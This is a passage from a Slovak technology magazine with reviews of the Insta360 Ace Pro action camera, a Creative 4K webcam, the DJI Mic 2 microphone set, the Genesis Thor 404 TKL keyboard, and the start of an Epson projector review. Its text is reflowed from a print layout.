testovaný model Ace Pro, prípadne jeho niž-
šie postavený a lacnejší braček, model Ace. 

Kamera má na prvý pohľad klasickú kon-
štrukciu, akú poznáme z modelov GoPro 
alebo DJI Action. Vpredu je vľavo umiest-
nený objektív a vedľa neho v tomto prípade 
stavový displej OLED s kontrolným svetlom 

pod ním. Displej je iba in-
formačný a nedotykový. 
Špecialitou kamery je 
hlavný displej umiestnený 
vzadu, ktorý je na vrchnej 
strane upevnený pántom 
a možno ho tak vyklopiť o 

180° a používať ako náhľadový pri vlogovaní. 
Kamera je o niečo väčšia ako v prípade kon-
kurentov a má najväčší displej s uhlopriečkou 
2,4". Displej má vysoký jas a je použiteľný aj 
na priamom slnku. Kamera sa pýši objektívom 
od spoločnosti Leica, ktorý má pevný kryt. 
Štandardne súčasťou samostatnej kamery 
je batéria, držiak s vidlicovým konektorom, 
lepiaca montážna doska a kábel USB-C. Ako 
ovládacie prvky slúžia dve tlačidlá: jedno na 
nahrávanie a druhé na zapnutie/vypnutie, 
ktoré slúži aj ako tlačidlo rýchleho menu pri 
používaní. Väčšina ovládania zariadenia sa vy-
konáva prostredníctvom dotykových menu. 
Systém menu spoločnosti Insta360 je trochu 
zložitejší než napríklad pri DJI, ktoré má jed-
noduchšiu krivku učenia, pretože je základ-
nejšie. Nie je tu ani easy mode, ktorý nájdete 
na Hero12 Black, čo môže byť veľmi užitočné 
pre začiatočníkov.

Držiak používaný pri modeli Ace Pro sa líši 
od držiakov používaných pri iných kamerách 
Insta360, takže nemôžete zdieľať montážne 

dosky. No väčšina príslušenstva používa vid-
licový konektor alebo závit ⅜ palca, takže sú 
vymeniteľné medzi kamerami. Insta360 po-
núka širokú škálu oficiálneho príslušenstva, 
ktoré poskytuje veľký výber kreatívnych uhlov 
a spôsobov snímania. Kamera sa na základnú 
dosku upevňuje čeľusťami s magnetickým 
zámkom, podobne to majú aj kamery DJI. 

Dizajn Ace Pro má niekoľko výrazných prv-
kov, ale ten, na ktorý je Insta360 najviac hrdá, 
je objektív. Je to 16 mm (ekvivalent plného 
formátu) ultraširokouhlý objektív f/2,6 vyvi-
nutý spoločne s nemeckým výrobcom Leica 
(model Ace tento objektív nemá). Na jeho 
optický výkon sa pozrieme ďalej. Kamera vy-
užíva fázové zaostrovanie a sledovanie tvárí. 
Detekcia tváre je veľmi dobrá, pričom Ace 
Pro deteguje tváre v zábere a spoľahlivo 
ich sleduje. Kamera sledovala moju tvár 
aj na okrajoch záberu a udržiavala ma 
v zaostrení. Pri detekcii menších/vzdia-
lenejších tvárí pri širokých uhloch to 
nebolo také dobré, ale aj tak bol výkon 
solídny, najmä pri priblížení. 

Výrobca sa chváli možnosťou nahrávať 
video až do rozlíšenia 8K/24p. To je síce 
vyššie rozlíšenie ako u konkurentov, ale 
kamera to, žiaľ, zvláda iba pri frekvencii 
24p. Pre väčšinu používateľov bude 
stále dôležitejšie nakrúcanie 
4K/60p s bonusom v podobe 
4K 120p na nakrúcanie spoma-
lených záberov. Zaujímavé je, 
že nižší model Ace nahráva aj 
pri 6K/30p, čo je určite užitoč-
nejší režim. 

Kvalita videa Ace Pro pri 4K 
je veľmi dobrá. Kamera výborne 
zvláda nakrúcanie akčných 
scén a pri 4K 60p je porovna-
teľná s konkurentmi. Pri ultra-
širokouhlých a Action záberoch 
v pokojných scénach sa prejavuje 

jemné rozmazanie v rohoch, ktoré sa ešte zvidi-
teľní pri zrovnaní línií funkciou Dewarp. Vyzerá 
to na problém optiky, ktorý je pravdepodobne 
spôsobený frontálnym krycím sklíčkom pred 
objektívom. Na to, že je použitý objektív Leica, 
to nie je veľmi dobrá správa. Rozmazanie je 
pozorovateľné iba pri niektorých špecifických 
záberoch, ale nemalo by tu byť. 

Kamera umožňuje nahrávanie aj s 2× digi-
tálnym zoomom, ktorý by mal byť vzhľadom 
na vysoké rozlíšenie snímača bezzstratový. 
Obraz je síce použiteľný aj v 4K rozlíšení, ale 
pozorné oko si rozdiel všimne. Snímač s veľ-
kosťou 1/1,3 palca je rovnako veľký ako pri DJI 
Action 4 a patrí k tým väčším, aké pri akčných 
kamerách stretnete, je však dôležité pamätať 
si, že táto veľkosť stále nie je extrémna a pri 
slabom svetle je skrátka obraz zašumený. Je 
to síce lepšie ako hoci pri modeli GoPro 12 
Black, ktorý má ešte menší snímač, ale na 
nočné zábery jednoducho akčné kamery nie 
sú určené. Pri dobre osvetlenom nočnom 
meste však Ace Pro poteší veľmi dobrým spra-
covaním obrazu a ako jedna z mála kamier 
zvláda správne reprodukovať svetelné nápisy 
(napr. na obchodoch a podobne). Režim Pure 
Video pre slabé svetlo obrázky rozjasní, ale 
veľa šumu neodstráni a občas preexponuje 
jednotlivé svetlá.

Asi najväčšie konkurenčné nevýhody Ace 
Pro sú nemožnosť nahrávania s 10-bitovou 
hĺbkou farieb a neprítomnosť režimu Log. 
To kameru diskvalifikuje z projektov nakrú-
caných viacerými kamerami, keď treba pri-
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INSTA360 ACE PRO

„VÝBORNÁ AKČNÁ 
KAMERA ZA 

KTORÚ SI VŠAK 
PRIPLATÍTE.“

Nakrúcajte akciu aj hviezdy



» Prakticky každý notebook disponuje za-
budovanou kamerou, ale kvalitou obrazu, 
hlavne v horších svetelných podmienkach, 
nás väčšinou nepresvedčia. Najnovší model 
kamery Live! Cam Sync 4K je konštrukčne 
riešený na uchy-
tenie o horný rám 
monitora. Teleso 
kamery je pomo-
cou guľového kĺbu 
umiestnené na zá-
kladňu konštruo-
vanú ako klip, ale 
táto základňa má aj 
závit umožňujúci upevnenie 
kamery na statíve. Výhodou 
kamery na statíve je mož-
nosť snímania nielen ľudí 
pred obrazovkou, ale aj rôz-
nych scén, napríklad ak komunikačnému 
partnerovi alebo auditóriu potrebujete 

niečo ukázať.  Kamera má kryt, ktorý chráni 
objektív, a keď je zatvorený, máte istotu, 
že vás žiadna aplikácia či škodlivý kód na 
pozadí bez vášho vedomia nemôže snímať. 
Snímanie je indikované rozsvietením bie-

lych LED pásikov po stranách objek-
tívu. Na hornej strane 

je vypínač mikro-
fónu a tlačidlo na 
kompenzáciu pro-
tisvetla, napríklad 
ak je za vami okno. 
Maximálne rozlíše-
nie je 4K čiže 2160p 
pri 25 fps. Kamera 
má mierne široko-

uhlý objektív s po-
zorovacím uhlom 95 

stupňov, čo umožňuje 
aj zábery s väčším poč-

tom ľudí. 

V synergii s aplikáciou SmartComms po-
núka zariadenie množstvo inteligentných 
komunikačných funkcií, ako je automatická 
detekcia hlasu či potlačenie hluku v pozadí. 
Pokiaľ ide o zvuk, kamera má zabudovanú 
dvojicu mikrofónov, ktoré ma príjemne pre-
kvapili kvalitou zvuku. Zachytávajú zvuk 
aj z väčšej vzdialenosti, čo oceníte pri sku-
pinových hovoroch. Funkcia VoiceDetect 
umožňuje používateľom voľne gestikulo-
vať, pretože nemusia zapínať a vypínať mik-
rofón. Keď prestanete hovoriť, mikrofón sa 
automaticky stlmí. Funkcia NoiseClean-out 
pomáha znižovať nežiaduce zvuky na po-
zadí, napríklad hluk ventilátorov, klimatizá-
cie, vysávačov, fénov a podobne.

Kameru používam na nahrávanie video 
tutoriálov v OBS Studiu. Mám ju upevnenú 
na malom statíve, čo mi umožňuje umiestniť 
ju tam, kam potrebujem. Najčastejšie mám 
statív asi 20 cm za monitorom. Vysoké roz-
líšenie umožňuje urobiť požadovaný výrez, 
pričom vo výslednom videu v rozlíšení 
1080p má obraz výbornú kvalitu. 

 Cena:  66 EUR

»  ĽUBOSLAV LACKO

Kvalitná webová kamera so 4K 
rozlíšením a kvalitnými mikrofónmi
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spôsobovať farebné podanie. Je tu síce režim 
farieb Flat, ale ten to pri 8-bitovom zázname 
nezachráni. Na nakrúcanie na sociálne siete 
Ace Pro ponúka vertikálne snímanie a auto-
matické prepínanie orientácie. Je tu aj režim 
Free Frame video, v ktorom kamera nahráva 
v podstate obraz z celej plochy snímača s po-
merom strán 4:3 v rozlíšení 4032 × 3024, pri-
čom na displeji si môžete zobraziť masku pre 
obraz v režime portrét aj krajina, aby ste vedeli 
komponovať záber. Pri spracovaní si potom 
môžete zvoliť orientáciu záberu. Stabilizácia 
obrazu má niekoľko úrovní až po uzamknutie 
horizontu. Vo všetkých režimoch fungovala 
výborne, ale treba si uvedomiť, že kamera 
vždy pracuje s výrezom obrazu, takže musíte 
voliť najnižšiu úroveň, aká vám postačuje.  

Čo sa týka záznamu videa, kamera má jednu 
unikátnu funkciu. Počas záznamu môžete za-
radiť pauzu a potom znova spustiť záznam 
a pokračovať v zábere. Vďaka tomu môžete 
napríklad vlog alebo predstavenie produktu s 
viacerými pohľadmi nakrútiť bez potreby do-
datočného spracovania. Najzaujímavejšie však 
je, že to funguje aj na už uložené zábery. Jed-
noducho si záber zobrazíte a môžete v ňom 
pokračovať na inom mieste aj napriek tomu, 
že ste medzitým nahrávali niečo iné. 

Z ďalších zaujímavostí možno spomenúť 
režimy ako Starlapse, ktorý v noci vytvorí 

nádherné video s naťahujúcimi sa dráhami 
hviezd a iných svetelných objektov, alebo 
Slow Motion, ktorý nahráva spomalené video 
pri 4K 120p. Samozrejmosť je Timelapse na 
nahrávanie časozberných videí, TimeShift na 
nahrávanie videí s posunom alebo nahráva-
nie v prednastavenej slučke. Kamera podpo-
ruje aj fotenie do RAW vo formáte DNG. Fotiť 
možno jednotlivo, v HDR, intervalovo v rozlí-
šení až 36 Mpx alebo hoci v sérii, keď kamera 
vyfotí až 30 fotiek v priebehu sekundy. 

Zvukový výkon interného mikrofónu Ace 
Pro je uspokojivý, aj keď zvuk je vo všeobec-
nosti skôr plechový. Režim redukcie vetra 
funguje, ak stojíte, počas jazdy si však nepo-
radí. V tomto je oveľa lepšia DJI Osmo Action 
4. Ku kamere je aplikácia Insta360, ktorá však 
napríklad na rozdiel od DJI Mimo neslúži na 
priame ovládanie kamery, ale skôr na spraco-
vanie videa. Má viacero zaujímavých funkcií, 
ktoré síce potešia, ale skôr či neskôr omrzia. 
Na ovládanie je k dispozícii voliteľný ovládač 
s displejom a GPS, ktorý sa nosí ako hodinky 
na ruke. Za ten si však priplatíte ďalších 174 
eur. 

Kamera Insta360 Ace Pro určite stojí za 
zváženie, ale z pohľadu konkurencie musíte 
uvažovať, čo z ponúkaných funkcií a vlast-
ností potrebujete a stojí vám za príplatok 
oproti konkurencii. Kamera poskytuje vý-

borný obraz, špičkovú stabilizáciu obrazu a 
veľmi dobre riešený a veľký displej. Upúta za-
ujímavými snímacími režimami aj kvalitnou 
konštrukciou. Výdrž na batériu sa pohybuje 
okolo 80 minút v režime 4K 60p, čo je po-
dobné ako pri Action 4. Veľká výhoda kamery 
pri nakrúcaní v interiéri je v tom, že nemá ten-
denciu prehrievať sa. 

 »  RENÉ HUBINSKÝ 

PLUSY, MÍNUSY:

+

–

Kvalita obrazu, vyklápací displej, sta-
bilizácia, záznam až 4K/120p, 8K/24p, 
voliteľný DO so živým náhľadom a GPS, 
zaujímavé videorežimy
Nepodporuje 10-bitové video 

PARAMETRE:

 Snímač 1/1,3" CMOS, F2,6, objektív ekv. 16 mm, 
video: 4K/120p (16:9, 3840 × 2160), 4K/60p (4:3, 
3840 × 2880), 2.7K/120p (16:9, 2688 × 1512), 
2.7K/60p (4:3, 2688 × 2016), 1080/240p, dátový 
tok max. 170 Mb/s, FreeFrame 4K (4:3): 4032 × 
3024@60, 48 Mpx foto (RAW /JPEG), microSD 
do 1 TB, 2,4" výklopný dotykový displej, vo-
dotesná do 10 m bez puzdra, do 60 m s puz-
drom, vstavané Wi-Fi a bluetooth, prevádzka na 
batériu 80 min, rozmery: 71,9 × 52,15 × 38,5 mm, 
hmotnosť 179,8 g
  Cena:  od 480 do 683 EUR (podľa výbavy) 

HODNOTENIE:

CREATIVE LIVE! CAM SYNC 4K
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» DJI Mic 2 je už druhou generáciou 
bezdrôtového mikrofónového setu 
pre kameramanov, vlogerov, noviná-
rov a vôbec všetkých, ktorí potrebujú 
kvalitný záznam zvuku a miniatúrne 
rozmery. DJI Mic 2, samozrejme, 
vychádza zo svojho predchodcu, ale 
pridáva niekoľko zásadných zlepšení. S 
vysielačom, respektíve mikrofónom systému 
Mic 2 sa používatelia značky DJI mali možnosť 
po prvýkrát stretnúť po uvedení stabilizovanej 
kamery Osmo Pocket 3, s ktorou sa dodáva v 
rámci súpravy Creator Combo. To odhaľuje v 
podstate prvú novinku v systéme Mic 2, ktorou 
je pripojenie cez bluetooth. Zatiaľ čo súprava DJI 

Mic používala iba proprie-
tárne pripojenie vysielačov 
k prijímaču, vysielače Mic 
2 umožňujú prostredníc-
tvom bluetooth pripojenie 
v podstate k ľubovoľnému 
zariadeniu, ktoré podpo-

ruje pripojenie bluetooth mikrofónu. Mikrofón 
tak môžete priamo pripojiť k mobilu, PC, her-
nej konzole, ale aj ku kamerám Osmo Pocket 3, 
Osmo Action 4 a ďalším. 

Ak chcete možnosti súpravy využiť naplno, na 
to je tu nabíjacie puzdro, do ktorého sa zmestí 
prijímač, dva mikrofóny a dve redukcie na pripo-
jenie k mobilným zariadeniam cez USB-C alebo 
Lightning. Mikrofóny sú v tomto prípade prepo-
jené s prijímačom proprietárnym spojením a po 
otvorení puzdra sú automaticky spárované. V 
rámci dodaného príslušenstva nájdete ešte nabí-
jací kábel USB-C, prepojovací káblik 3,5 mm – 3,5 
mm ku kamere, dvojicu protivetrových ochrán 
(mačičiek) na mikrofóny a vrecko na prenášanie. 
V súprave nie sú klopové mikrofóny s káblikmi, 
ale možno ich použiť. Každý z vysielačov 
obsahuje aj 3,5 mm konektor. Reduk-
cie na mobil sa zasúvajú do slotu 

na zadnej strane pri-
jímača, takže 
slúžia zároveň 

ako držiak. 

Držiak na kameru je naspodku prijí-
mača napevno. Prijímač sa pripája ku 
kamere dodávaným 3,5 mm káblikom. 
Tu je novinkou, že pomocou tohto 
káblika sa prijímač po vypnutí kamery 
tiež vypne, aby šetril energiu v batérii. 

Obidva mikrofóny sa môžu pochváliť 
schopnosťou interného nahrávania až 14 

hodín bez kompresie, ale celkový prevádzkový 
čas Mic 2 až 18 hodín predstavuje 20 % nárast 
oproti pôvodnému Mic so životnosťou 15 hodín, 
čo je ideálne na dlhé nahrávania alebo zábery 
na mieste. Novinkou pri Mic 2 je interné nahrá-
vanie zvuku s 32-bitovou plávajúcou čiarkou, čo 
umožňuje záznam zvuku vo vysokej kvalite na 
ďalšie spracovanie.

Žiaľ, rovnako ako u predchodcu aj tu je prilo-
žený 3,5 mm káblik iba vo forme obyčajného a 
navyše nie veľmi poddajného kábla, s ktorým sa 
horšie manipuluje. Lepší by bol skrútený káblik. 

Z predchodcu je prevzatý spôsob uchytenia 
mikrofónov. Tie majú na tele kovové štipce, 
ktorými sa pripínajú na oblečenie. K nim sú do-
dané silné štvorcové magnety, vďaka ktorým 
možno mikrofóny pripevniť aj cez oblečenie. To 
sa hodí, ak má hovoriaci napríklad tričko, sako 
alebo niečo podobné. Magnety poslúžia aj ako 
provizórny stojanček, na ktorý možno mikrofón 
postaviť, ak ho chcete dať hoci na stôl. 

Trocha horšia správa je, že nabíjacie puzdro je 
o dosť väčšie, respektíve dlhšie ako predchodca. 
Je to spôsobené tým, že prijímač je dlhší, keďže 
dostal nový, väčší 1,1" displej OLED (pôvodne 
0,95") a nový mechanický volič, ktorý pomocou 
otáčania a stláčania umožňuje jednoduché ovlá-
danie a jemné nastavenie zosilnenia, hlasitosti 
aj funkcií zariadenia. Toto ovládanie je veľmi 
šikovné a rýchle. 

Jednotlivé komponenty možno nabíjať aj sa-
mostatne cez vlastný port USB-C, praktickej-

šie je to však v nabíjacom puzdre. To slúži 
aj na rýchle spárovanie vysielačov s prijí-
mačom. Stačí všetko zasunúť do puzdra, 

zavrieť ho a otvoriť. Všetky komponenty sa 
automaticky zapnú a spárujú. Na dotykovom 

displeji OLED prijímača sa rozsvieti pripravenosť, 
stav aj voľná pamäť v každom z mikrofó-

nov. Ak pracujete na väčšiu vzdialenosť 
alebo v priestore, kde by mohlo dochá-
dzať k rušeniu, môžete si zaznamenávať 

záložný záznam. Ten sa dá spustiť z prijí-
mača pre každý mikrofón zvlášť, ale aj tla-

čidlom na mikrofóne. Vďaka tomu možno 
každý z mikrofónov použiť aj ako samostatný 

záznamník, navyše s vysokokvalitným 32-bito-
vým záznamom. To je veľmi zaujímavá a nie prí-
liš bežná funkcia a výrazne to rozširuje možnosti 

využitia. Súpravu, pochopiteľne, môžete použí-
vať s jedným alebo oboma mikrofónmi súčasne. 
Významnou výhodou sú tri prevádzkové režimy, 
Mono – záznam z oboch mikrofónov sa mixuje 
do jednej stopy, záznam je stereofónny s rovna-
kým zvukom v oboch kanáloch. Stereo – každý 
mikrofón sa zaznamenáva separátne do jedného 
kanála, takže mix oboch zvukov si môžete ľubo-
voľne upraviť v postprodukcii. Poradie kanálov si 
môžete nastaviť, ak chcete využívať stereo efekt. 
Veľmi zaujímavý je režim Mono with Safe chan-
nel, ktorý je podobný ako Mono, ale do jedného 
kanála nahráva štandardný záznam, mix oboch 
kanálov, a do druhého rovnaký záznam, ale s na-
stavením -6 dB. To vám zabezpečí, že aj keď máte 
úroveň záznamu nastavenú chybne a mohlo by 
dochádzať v niektorých prípadoch k prebude-
niu úrovne, druhý záznam s nižšou úrovňou to 
vyrieši. Všetky funkcie súpravy možno nastaviť 
veľmi jednoducho pomocou prehľadného do-
tykového displeja na prijímači. 

Mikrofóny poskytujú kvalitný, dynamický 
a čistý zvuk bez rušenia. Príjemne prekvapila 
účinnosť protivetrových „mačičiek“, ktoré sa 
teraz upevňujú na mikrofóny veľmi jednoducho 
– zasunutím do zdierky jacku. Smerová charak-
teristika je guľová, takže pri nahrávaní nepre-
káža ani bežný okolitý hluk. Mikrofóny využívajú 
šifrovaný digitálny prenos v pásme 2,4 GHz a 
majú vysokú odolnosť proti rušeniu. Vo voľnom 
priestranstve sa uvádza dosah až 250 m. To, sa-
mozrejme, platí iba pre prenos vysielač – prijí-
mač. Pri pripojení cez bluetooth sa dosah skráti 
asi na 15 – 25 m. V praxi sme sa nestretli so žiad-
nymi výpadkami signálu. Súpravu sme testovali 
so smartfónom Samsung Galaxy S22 Ultra, s ka-
merami Panasonic Lumix GH5 MII, Lumix GH6 
aj so stolovým PC. Vo všetkých prípadoch boli 
výsledky vynikajúce. Dobrá správa je aj vysoká 
výdrž na batériu, a to až 5,5 h pri mikrofónoch a 
5 h pri prijímači. S energiou v puzdre tak máte k 
dispozícii až 18 hodín práce. 

»  RENÉ HUBINSKÝ

DJI MIC 2

Ešte lepšie, ešte viac

„VYNIKAJÚCI 
BEZDRÔTOVÝ 

MIKROFÓNOVÝ SET  
S VYSOKOU  

KVALITOU ZVUKU.“

PLUSY, MÍNUSY:

+

–
PARAMETRE:

 Rozmery: vysielač/mikrofón 46,06 × 30,96 × 
21,83 mm, prijímač 47,44 × 32,21 × 17,35 mm, 
nabíjacie puzdro 103,06 × 61,87 × 41,50 mm, 
frekvenčný rozsah 50 – 20 000 Hz, batéria: vysielač 
1,39 Wh, nabíjanie 70 min, výdrž 5,5 h, prijímač: 
1,23 Wh, nabíjanie 70 min, výdrž 5 h, nabíjacie 
puzdro: 11,7 Wh, nabíjanie 2 h 40 min, plné nabitie 
zariadenia 1,8×
 Cena: 349 EUR

HODNOTENIE:

Kvalita zvuku, možnosti pripojenia, 
odolnosť proti rušeniu, obsluha,  
vybavenie, výdrž
Káblik na kameru mohol byť krútený 

TIP 
REDAKCIE

TOP PRODUKT

MAREC 202460
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» Genesis prichádza s nástupcom 
svojho legendárneho a veľmi ob-
ľúbeného modelu THOR 303 TKL. 
Nová herná klávesnica Genesis 
Thor 404 TKL k nám dorazila v bielej 
farbe so spínačmi Kailh Box Brown 
V2. Podľa výrobcu je klávesnica kom-
patibilná so systémami Windows 7 a 
vyššími, ako aj s Androidom. V balení nájdete 
kábel USB-C na pripojenie k PC, nástroj na vy-
tiahnutie klávesov, dva dodatočné spínače a 
návod. 

Genesis Thor 404 je krátky typ klávesnice, 
teda bez numerickej časti. Je to medzi hráčmi 
najčastejšie vyberaná veľkosť. Konštrukcia je 
celá plastová a je uzavretého typu (má oba-
lené spínače). S hmotnosťou takmer jeden 
kilogram a hrubými plastmi vytvára pocit 

robustnosti.  Kláves-
nica má v spodnej časti 
akustickú penu, ktorá 
slúži na tlmenie hluku. 
Napriek tomu, že ide o 
jednoduché riešenie, 
funguje vcelku dobre. 

Klávesnica vyniká kvalitným a presným spra-
covaním. Písmo je veľké, čitateľné a na rozdiel 
od zvyku Genesis prekvapivo obyčajné. A to 
je vlastne veľmi dôležitá a dobrá správa, klá-
vesnica je vďaka tomu prehľadná a dobre sa 
s ňou pracuje. Keycapsy sú vyrobené z ma-
teriálu PBT. Sú neopotrebiteľné (neobjaví sa 
efekt odretia) a majú príjemnú matnú a drsnú 
textúru a mierne valcový tvar. Plast, z ktorého 
sú vyrobené, je hrubý asi 1,5 mm a neohýba 
sa, keď ich stlačíte prstami. Symboly vznikli 
metódou Double-Shot Injection, čo znamená, 
že sú zhotovené z dvoch samostatných vrstiev 
plastu, ktoré sú potom spojené. Bočné ozna-
čenia sú vygravírované laserom a zafarbené. 
Genesis Thor 404 je klávesnica typu hot-swap. 
To znamená, že môžete používať akékoľvek 
mechanické spínače vo formáte Cherry (napr. 
Gaterony, Kailh, Cherry MX, Outemu), tak 3-pi-

nové, ako aj 5-pinové. Bez prob-
lémov možno používať súčasne 
spínače rôznych farieb alebo od 

iných firiem. Spôsob výmeny spí-
načov je veľmi jednoduchý, pre-

tože ich len vytiahneme pomocou 
priloženého pullera. Samozrejme, 

treba počítať s tým, že konektory majú 
svoju životnosť, a tak odporúčame výmenu 
spínačov nerobiť príliš často. Klávesnica je 
dostupná s dvoma typmi spínačov – buď 
Gateron Yellow Pro s počtom kliknutí od-
hadovaným na 60 miliónov, alebo tak ako 
na testovanom kuse Kailh BOX Brown V2 s 
odhadovanými 80 miliónmi kliknutí. Počas 
testu som nezaznamenal žiadne problémy s 
nechceným dvojitým kliknutím. Spínače sú 
novej generácie a sú z výroby premazané. V 
testovanej Kailh BOX V2 vôbec nepočuť pru-
žinu vydávajúcu kovový zvuk, sú o niečo vyš-
šej triedy než Gateron, dokonca vo verzii PRO. 
Pod všetkými dlhšími tlačidlami (medzerník, 
shift, backspace, enter) sú použité stabilizá-
tory. Prakticky všetky spínače na klávesnici 
znejú jednotne pri kliku. Klávesnica je tak 
okrem hrania vynikajúca na písanie. K dispo-
zícii je úplné RGB s možnosťou nastavenia 20 
rôznych svetelných režimov. V závislosti od 
výberu farby klávesnice a spínačov bude pod-
svietenie výrazne odlišné. Všetky režimy sú 
charakteristické veľkou plynulosťou animácií. 
Niektoré funkcie sa dajú nastaviť z klávesnice, 
ale možností je viac a je to jednoduchšie uro-
biť pomocou softvéru. Teoreticky máte k dis-
pozícii celú škálu farieb, reálne ich je však 28 
(v krajných odtieňoch už nevidieť rozdiel). Zá-
kladné farby sú pestré a jasné, znaky sú dobre 
podsvietené. Klávesnica si pamätá režim aj 
úroveň jasu, aj keď ju odpojíme a znova za-
pojíme. Zaujímavé je, že podsvietenie sa dá 
vypnúť len z klávesnice. Keď ho v ovládačoch 
nastavíme na vypnuté, stále mierne svieti. 
Pomocou softvéru možno zaznamenávať aj 
makrá. Môžete zaznamenať sekvenciu 160 

akcií. To je limit pre všetky makrá zazname-
nané na klávesnici. Možno teda vykonať jedno 
dlhé alebo niekoľko kratších (napr. 4 × 40). Na-
hrávať sa dajú tlačidlá myši aj klávesnice.

Klávesnica Thor 404 TKL je lákavý model pre 
tých, ktorí hľadajú klávesnicu s mechanickými 
prepínačmi. Aj keď je na pomedzí rozpočtovej 
a strednej triedy klávesníc, nájdete tu prvky, 
ktoré sme dosiaľ videli iba v oveľa drahších 
modeloch. Hlavným lákadlom je nepochybne 
to, že má systém hot-swap a na rozdiel od rôz-
nych ázijských „kolegov“ dostanete v balení 
na výber naozaj kvalitné spínače Kailh BOX 
Brown V2. Z ďalších benefitov spomenieme 
tlmenie, odpojiteľný kábel, kvalitné podsvie-
tenie a prepracovanú konštrukciu. 

»  RENÉ HUBINSKÝ

GENESIS THOR 404 TKL KAILH BOX BROWN V2

Zlepšená legenda

PLUSY, MÍNUSY:

+
–
PARAMETRE:

 Pripojenie káblové, odpojiteľné USB, typ 
klávesnice: mechanická, spínače Kailh Box 
Brown V2, osvetlenie RGB, počet režimov 
podsvietenia: 18, dĺžka kábla: 180 cm, počet 
tlačidiel: 87, multimediálne tlačidlá – počet: 
11, životnosť klávesov: 80 mil. kliknutí, frekven-
cia vzorkovania: 1000 Hz, bod aktivácie: 2 
mm, aktivačná sila: 55 g, čas reakcie: 1 ms, 
zabudovaná pamäť, profil prepínača: vysoký, 
štandardné rozloženie ANSI, materiál ABS, 
funkcie: dostupné makrá, dostupné profily, 
vymeniteľné prepínače HOT SWAP, záznam 
makier, anti-ghosting, konektory USB typu 
A, opletenie drôtu: látkový kábel, farba biela, 
napájanie USB (5 V), dodávané príslušenstvo: 
2 náhradné mechanické spínače, klip, rozmery: 
358 × 133× 38 mm, hmotnosť: 1005 g
 Cena: 98,99 EUR

HODNOTENIE:

Spracovanie, kvalitné prepínače,  
osvetlenie, ergonómia
Nič podstatné

„VYSOKOKVALITNÁ 
KLÁVESNICA NA 

HRY AJ PRÁCU ZA 
PRIJATEĽNÚ CENU.“

TIP 
REDAKCIE

POMER  
CENA/VÝKON



» Hlavným lákadlom projektora Epson CO-
FH02 je vysoký svetelný výkon až 3000 lúme-
nov a pribalený USB modul s Android TV, ktorý 
umožňuje projektor využiť na sledovanie 
programov zo streamovacích služieb. 

Projektor má kompaktný a elegantný di-
zajn, takže sa dá zakomponovať do akéhokoľ-
vek interiéru. V záujme dosiahnutia výhodnej 
ceny objektív nemá možnosť zoomovania, 
takže veľkosť premietaného obrazu závisí od 

vzdialenosti projektora 
od projekčnej plochy. 
Zaostruje sa klasicky 
prstencom s páčkou nad 
objektívom. Uhlopriečka 
premietaného obrazu 
môže byť v rozsahu 26 
až 391 palcov, teda od 

66 cm až po takmer 10 metrov. Najmenšia 
projekčná vzdialenosť, pri ktorej sa obraz 
ešte dá zaostriť, je 0,9 m, najdlhšia 10,4 m. 
Rozlíšenie 1080p čiže 1920 × 1080 pixelov 
je úplne postačujúce, v takomto rozlíšení 
vysielajú naše televízne stanice. Pomocou 
tenkej vysúvateľnej nohy si môžete upraviť 
uhol premietania. Projektor nemá možnosť 
vertikálneho posunu objektívu 
oproti snímaču, čím by sa op-
ticky vykompenzovalo lichobež-
níkové skreslenie v prípade, ak 
je objektív mimo osi premieta-
ného obrazu. K dispozícii sú, sa-
mozrejme, softvérové korekcie. 
Lichobežníkové skreslenie sa 
pri vertikálnom náklone opraví 
automaticky na základe údajov 
z akcelerometra. Horizontálne 
skreslenie sa koriguje v použí-
vateľskom rozhraní. Chladenie v 
ekologickom režime je relatívne 
tiché, v režime maximálneho 
jasu je hluk podobný, ako keď 
naplno zaťažíte herný notebook. 
Treba dbať na voľný priestor pri 

výduchoch, pretože vzduch vychádzajúci z pro-
jektora je dosť teplý.

Projektor využíva technológiu 3LCD s RGB 
uzávierkou na báze tekutých kryštálov, má 188 
W lampu so svetelným tokom 3000 lúmenov, 
čo umožňuje premietať na plochu s uhloprieč-
kou až 10 metrov. Zaostrovanie je manuálne 
otáčaním prstenca objektívu. Zobrazovacie 
panely pre jednotlivé zložky RGB majú uhlo-
priečku 0,69 palca. Spracovanie farieb je 10-bi-
tové. Výrobca deklaruje životnosť lampy 6000 
hodín pri vysokom jase a 12 000 hodín v štan-
dardne nastavenom eko režime.

Konektory sú pod odoberateľným krytom 
na pravej strane. Pod krytom je aj miesto na 
odloženie pribaleného modulu Android TV aj 
s napájacím a HDMI káblikom. Modul sa na-
pája z konektora USB. Konektory na obidvoch 
káblikoch sú konštruované tak, že modul te-
oreticky môže byť pod krytom aj počas pre-
vádzky, no radšej som to neskúšal, pretože by 
čiastočne prekrýval otvory na nasávanie chla-
diaceho vzduchu. Pri použití bežného kábla 
s priamymi konektormi musí byť kryt takisto 
zložený. Modul má úplné verzie najpopulár-
nejších streamovacích služieb. V balení sú aj 

dva diaľkové ovládače. Bielym, ktorý 
funguje na princípe infračervených 
signálov, ovládate projektor a čier-
nym, ktorý komunikuje cez blueto-
oth, streamovací modul. Na tomto 
ovládači sú samostatné, farebne od-
líšené tlačidlá pre YouTube, Netflix a 
Google Play. Ako je pri platforme An-
droid TV zvykom, po prvom zapnutí 
sa zobrazí ponuka streamovacích 
služieb, stačí len nakonfigurovať pri-
pojenie Wi-Fi. Samozrejme, môžete 
pripojiť aj iný streamovací modul, 
napríklad Chromecast. 

Pri testovaní som umiestnil pro-
jektor tak, aby obraz mal uhlopriečku 
približne 150 palcov, čo zodpovedá 
rozmerom 3,3 × 1,8 m. Pri tejto veľ-

kosti je obraz premietaný priamo na bielu 
stenu brilantný a kontrastný a bol komfortne 
pozerateľný aj v miestnosti bez zatiahnutých 
žalúzií za slnečného dňa. Po zatiahnutí žalú-
zií bol, samozrejme, zážitok z domáceho kina 
lepší. Obraz je prekreslený, a to aj v kontrast-
ných scénach a na prechode svetlo – tieň. 
Ako zdroj obrazu som okrem streamovacieho 
modulu použil aj 4K Blu-ray prehrávač, down-
grade zo 4K na full HD zariadil prehrávač. 

Takisto odporúčam vyskúšať, ktorý z pred-
nastavených farebných režimov (dynamický, 
jasný, kino a prirodzený) vám najlepšie vyho-
vuje. Profil označený ako jasný je napríklad 
perfektný na sledovanie športových prenosov.

Príjemne ma prekvapil zvuk vstavaného 
reproduktora, jeho výkon stačí na ozvuče-
nie obývačky pri priemerných nárokoch. Sa-
mozrejme, domáce kino je predovšetkým o 
zvuku, takže sa predpokladá, že priestorový 
zvuk filmov si budete vychutnávať na vhod-
